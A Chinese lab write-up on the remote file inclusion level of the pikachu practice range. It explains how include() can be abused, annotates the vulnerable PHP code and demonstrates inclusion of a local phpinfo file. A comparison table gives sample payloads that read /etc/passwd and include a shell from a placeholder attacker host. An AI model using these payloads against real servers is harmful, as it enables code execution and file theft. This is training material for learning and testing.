做积分商城网站,wordpress 购买按钮,网站建设丿金手指下拉,免费网站制作 最好目录
一、文件包含功能
二、文件包含Vulnerability
二、远程文件包含
三、环境配置
1、进入靶场
2、搭建环境
#xff08;1#xff09;定位php.ini文件
#xff08;2#xff09;修改php.ini文件
四、源码分析
五、渗透实战
1、选择科比
2、执行phpinfo
…目录
一、文件包含功能
二、文件包含Vulnerability
二、远程文件包含
三、环境配置
1、进入靶场
2、搭建环境
1定位php.ini文件
2修改php.ini文件
四、源码分析
五、渗透实战
1、选择科比
2、执行phpinfo
1获取脚本地址
2远程文件包含渗透 本系列为《pikachu靶场通关笔记》渗透实战本文通过对文件包含关卡File Inclusion)源码的代码审计找到产生缺陷的真实原因讲解远程文件包含关卡的原理并进行渗透实践。 一、文件包含功能
文件包含是Web开发中常用的功能允许程序动态加载外部文件如HTML模板、配置文件或代码库以提高代码复用性。在PHP中主要通过以下函数实现 include包含文件失败时警告但继续执行。 require包含文件失败时终止程序。 include_once/require_once避免重复包含。
二、文件包含Vulnerability
文件包含VulnerabilityFile Inclusion Vulnerability是指Web应用程序在包含文件如PHP的include、require等函数时未对用户输入进行严格过滤导致攻击者可以包含恶意文件如服务器上的敏感文件或远程脚本从而造成任意代码执行RCE或敏感信息泄露。
开发者常常会使用文件包含函数像 PHP 的include()、require()、include_once()、require_once()等把其他文件内容包含到当前页面中。若程序没有对用户输入的文件路径进行严格过滤与验证攻击者就能够通过构造特殊的输入让应用程序包含恶意文件。
二、远程文件包含
远程文件包含Remote File InclusionRFI通常出现在服务器端脚本语言如PHP、Java等中。当应用程序通过用户输入动态地包含远程服务器上的文件时如果没有对输入进行严格过滤和验证攻击者可以利用远程文件包含缺陷将恶意文件放置在远程服务器上并通过构造包含恶意文件URL的请求让目标应用程序加载并执行该文件。
文件包含分为本地文件包含和远程文件包含两者区别如下所示。
对比项本地文件包含LFI远程文件包含RFI定义包含服务器本地的任意文件包含远程服务器上的恶意脚本文件攻击目标读取敏感文件如/etc/passwd、配置文件直接执行远程恶意代码如WebShell利用方式通过../等遍历目录通过URL包含http://或ftp://远程资源PHP配置要求无需特殊配置需allow_url_includeOn默认关闭危害等级中高危信息泄露严重直接RCE服务器沦陷典型攻击载荷?file../../etc/passwd?filehttp://attacker.com/shell.php依赖条件文件路径可控1. 路径可控 2. 服务器能访问外网常见防御措施1. 白名单限制文件路径 2. 禁用目录遍历符号1. 关闭allow_url_include 2. 过滤http://等协议渗透测试用途1. 窃取配置文件 2. 结合日志注入执行代码1. 直接获取服务器权限 2. 植入后门伪协议利用支持如php://filter读取文件内容支持如php://input直接执行POST代码
三、环境配置
1、进入靶场
进入pikachu靶场的远程文件包含关卡完整URL地址如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php
进入到远程包含关卡页面后发现提示“warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该关卡,记得修改后,重启中间件服务!”需要配置环境满足条件具体如下所示。 2、搭建环境
将php.ini文件里的allow_url_include改成On远程文件包含的前提是需要满足如下条件。
allow_url_fopenOn (默认打开)
allow_url_includeOn默认关闭所以要手动改为On
1定位php.ini文件
方法1①打开小皮工具依次点击设置—配置文件—php.ini—php版本号 方法2②找到小皮工具文件夹—Extensions—php—php版本号—php.ini 2修改php.ini文件 按照下图查找并修改php.ini文件开启allow_url_include和allow_url_fopen切记修改之后重启小皮apache否则不生效。 四、源码分析
打开piakchu靶场的源码目录找到file_remote.php具体如下所示。 源码的主要功能是动态包含服务器本地或远程文件经过详细注释的源码如下所示。
// 远程文件包含风险的演示代码
$html ; // 初始化HTML输出变量// 检查是否提交了表单且filename参数不为空
if (isset($_GET[submit]) $_GET[filename] ! null) {$filename $_GET[filename]; // 直接获取用户输入的filename参数include $filename; // 关键点直接包含用户可控的变量无任何过滤
} 不过这段代码有文件包含安全风险如果allow_url_includeOn配置打开还有远程包含安全风险原因如下所示。
原因具体问题未过滤用户输入直接使用$_GET[filename]攻击者可注入恶意路径。危险函数调用include直接执行文件内容若包含PHP文件会解析代码。配置依赖需php.ini中开启allow_url_includeOn默认关闭否则仅能本地文件包含LFI。
五、渗透实战
1、选择科比
重启Apache后重试pikachu靶场远程文件上传选择科比留意当前URL地址具体如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php#
此时进入到远程文件包含页面已无3.1部分的警告信息具体如下所示。 选择第一个运动员科比留意URL地址此时filename被赋值为filenameinclude%2Ffile1.php具体如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filenameinclude%2Ffile1.phpsubmit%E6%8F%90%E4%BA%A4 2、执行phpinfo
1获取脚本地址
在pikachu靶场的test目录中存在phpinfo.txt文件其完整的URL地址如下所示。
http://127.0.0.1/pikachu/test/phpinfo.txt 2远程文件包含渗透 将5.1部分的filenameinclude/file1.php换成phpinfo的链接地址具体如下所示。
filenamehttp://127.0.0.1/pikachu/test/phpinfo.txt
这样远程文件包含渗透的完整URL地址如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filenamehttp://127.0.0.1/pikachu/test/phpinfo.txtsubmit%E6%8F%90%E4%BA%A4
如下所示成功获取到服务器的php信息渗透成功。